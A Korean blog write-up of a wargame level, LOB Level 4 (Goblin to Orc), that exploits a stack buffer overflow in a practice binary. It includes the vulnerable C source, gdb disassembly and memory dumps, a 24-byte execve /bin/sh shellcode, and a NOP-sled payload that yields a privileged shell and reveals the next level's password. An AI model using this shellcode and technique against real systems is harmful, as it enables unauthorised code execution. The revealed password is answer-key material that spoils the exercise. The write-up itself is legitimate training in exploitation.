Sh4n3e

[시스템해킹][LOB] Level4 : Goblin -> Orc 본문

Wargame/LOB

[시스템해킹][LOB] Level4 : Goblin -> Orc

sh4n3e 2017. 6. 22. 15:56

이번 문제는 어쩔 수 없이 ShellCode를 사용해야하는 문제다. 그 이유는 소스코드를 보며 설명하겠다.

 

 [goblin@localhost goblin]$ cat orc.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
 char buffer[40];
 int i;

 if(argc < 2){
  printf("argv error\n");
  exit(0);
 }

 // egghunter
 for(i=0; environ[i]; i++)
  memset(environ[i], 0, strlen(environ[i]));

 if(argv[1][47] != '\xbf')
 {
  printf("stack is still your friend.\n");
  exit(0);
 }

 strcpy(buffer, argv[1]);
 printf("%s\n", buffer);
}

 

해당 문제는 argv[1][47]에 0xbf가 존재하는지 확인하고 0xbf가 존재한다면 strcpy를 실행하여 BOF가 가능하게 만든다. 하지만 argv[1][47]의 위치에 0xbf가 존재하지 않다면, 우리는 "stack is still you friend"라는 문구에 직면하게 될 것이다.

그럼 우리는 argv[1][47]이 어떤 위치인지 확인할 필요가 있는데 이 부분을 확인해 보자.

 

[goblin@localhost goblin]$ gdb -q o
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x8048500 <main>: push   %ebp
0x8048501 <main+1>: mov    %ebp,%esp
0x8048503 <main+3>: sub    %esp,44
0x8048506 <main+6>: cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg     0x8048523 <main+35>
0x804850c <main+12>: push   0x8048630
0x8048511 <main+17>: call   0x8048410 <printf>
0x8048516 <main+22>: add    %esp,4
0x8048519 <main+25>: push   0
0x804851b <main+27>: call   0x8048420 <exit>
0x8048520 <main+32>: add    %esp,4
0x8048523 <main+35>: nop   
0x8048524 <main+36>: mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>: nop   
0x804852c <main+44>: lea    %esi,[%esi*1]
0x8048530 <main+48>: mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>: lea    %edx,[%eax*4]
0x804853a <main+58>: mov    %eax,%ds:0x8049750
0x804853f <main+63>: cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>: jne    0x8048547 <main+71>
0x8048545 <main+69>: jmp    0x8048587 <main+135>
0x8048547 <main+71>: mov    %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>: lea    %edx,[%eax*4]
0x8048551 <main+81>: mov    %eax,%ds:0x8049750
0x8048556 <main+86>: mov    %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>: push   %edx
0x804855a <main+90>: call   0x80483f0 <strlen>
0x804855f <main+95>: add    %esp,4
0x8048562 <main+98>: mov    %eax,%eax
0x8048564 <main+100>: push   %eax
0x8048565 <main+101>: push   0
0x8048567 <main+103>: mov    %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>: lea    %edx,[%eax*4]
0x8048571 <main+113>: mov    %eax,%ds:0x8049750
0x8048576 <main+118>: mov    %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>: push   %edx
0x804857a <main+122>: call   0x8048430 <memset>
0x804857f <main+127>: add    %esp,12
0x8048582 <main+130>: inc    DWORD PTR [%ebp-44]
0x8048585 <main+133>: jmp    0x8048530 <main+48>
0x8048587 <main+135>: mov    %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>: add    %eax,4
0x804858d <main+141>: mov    %edx,DWORD PTR [%eax]
0x804858f <main+143>: add    %edx,47
0x8048592 <main+146>: cmp    BYTE PTR [%edx],0xbf //0xbf를 비교하는 부분 => 해당주소는 edx에 존재
0x8048595 <main+149>: je     0x80485b0 <main+176>
0x8048597 <main+151>: push   0x804863c
0x804859c <main+156>: call   0x8048410 <printf>
0x80485a1 <main+161>: add    %esp,4
0x80485a4 <main+164>: push   0
0x80485a6 <main+166>: call   0x8048420 <exit>
0x80485ab <main+171>: add    %esp,4
0x80485ae <main+174>: mov    %esi,%esi
0x80485b0 <main+176>: mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add    %eax,4
0x80485b6 <main+182>: mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push   %edx
0x80485b9 <main+185>: lea    %eax,[%ebp-40]
0x80485bc <main+188>: push   %eax
0x80485bd <main+189>: call   0x8048440 <strcpy>
0x80485c2 <main+194>: add    %esp,8
0x80485c5 <main+197>: lea    %eax,[%ebp-40]
0x80485c8 <main+200>: push   %eax
0x80485c9 <main+201>: push   0x8048659
0x80485ce <main+206>: call   0x8048410 <printf>
0x80485d3 <main+211>: add    %esp,8
0x80485d6 <main+214>: leave 
0x80485d7 <main+215>: ret   
0x80485d8 <main+216>: nop   
0x80485d9 <main+217>: nop   
0x80485da <main+218>: nop   
0x80485db <main+219>: nop   
0x80485dc <main+220>: nop   
0x80485dd <main+221>: nop   
0x80485de <main+222>: nop   
0x80485df <main+223>: nop   
End of assembler dump. 

 

어셈블 코드를 확인해보면 edx가 가지고 있는 주소에 위치한 HEX값과 0xbf를 비교함을 확인할 수 있다. 그렇다면 우선 strcpy에 맞춰 Payload를 작성해보자. 우선 연습 Payload는 이전에 사용한 Payload를 그대로 가져다 써보자.

 

$(python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"') 

 

해당 Payload를 이용해서 Edx가 가리키는 위치의 문자를 뽑아본 내용은 아래와 같다.

 

 [goblin@localhost goblin]$ gdb -q o 
(gdb) b *main+146
Breakpoint 1 at 0x8048592
<"A"*44+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"')                       
Starting program: /home/goblin/o $(python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"')

Breakpoint 1, 0x8048592 in main ()
(gdb) x/20x $edx
0xbffffe0d: 0x42424240 0x0fbff942 0x00000040 0x00000000
0xbffffe1d: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe2d: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe3d: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe4d: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) info registers
eax            0xbffffcd8 -1073742632
ecx            0x0 0
edx            0xbffffe0d -1073742323
ebx            0x401081ec 1074823660
esp            0xbffffc5c -1073742756
ebp            0xbffffc88 -1073742712
esi            0x4000ae60 1073786464
edi            0xbffffcd4 -1073742636
eip            0x8048592 134514066
eflags         0x292 658
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0 0
gs             0x0 0
cwd            0xffff037f -64641
swd            0xffff0000 -65536
twd            0x0 0
fip            0x401e0178 1075708280
fcs            0x0 0
fopo           0x0 0
fos            0x0 0

 

edx가 가리키고 있는 위치의 값은 0x40이다. 이 값은 우리의 페이로드에서

 

$(python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"') 

 

빨간색으로 표시한 부분이다. 그렇다면 이 문제에서 원하는 것은 0xbfXXX의 위치로 리턴하여 쉘코드를 실행하라는 의미로 해석하면 될 것이다. 그렇다면 0xbfXXX의 위치는 과연 어디일까?

우리는 이미 그 위치를 보았다. 바로 edx가 가리키고 있는 부분 즉 argv[1]이 존재하고 있는 위치이다.

 

그럼 이제부터 간단해진다. 내가 여기서 24byte짜리 쉘코드를 사용하였다. 쉘코드는 아래와 같다.

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

[$edx-47]은 우리가 넣는"A"의 시작위치이다. 여기는 다음과 같이 확인해 볼 수 있다.

 

(gdb) x/40x $edx-47  
0xbffffdd7: 0x41414141 0x41414141 0x41414141 0x41414141
.....

 

위치는 확인했다. 0xbffffdd7이다. 이것을 토대로 한번 Payload를 작성해보자.

 

$(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xe7\xfd\xff\xbf"')

 

여기서 0x90은 NOP이다. NOP는 아무것도 실행하지 않겠다는 어셈블러이다. 우리는 우리가 활용할 수 있는 공간인 44byte중 24byte를 쉘코드에게 할당하고, 나머지 20byte를 0x90으로 채워 대략적으로 위치를 계산하고 NOP Slide를 태울 것이란 거다.

 

해당 Payload를 실행한 결과는 아래와 같다.

 

<62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xe7\xfd\xff\xbf"')
��������������������1�Ph//shh/bin��PS�ᙰ
                                       ����
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)

bash$ /bin/my-pass
euid = 504
cantata
bash$  

 

우리는 또 권한을 획득했다.

 

 

Comments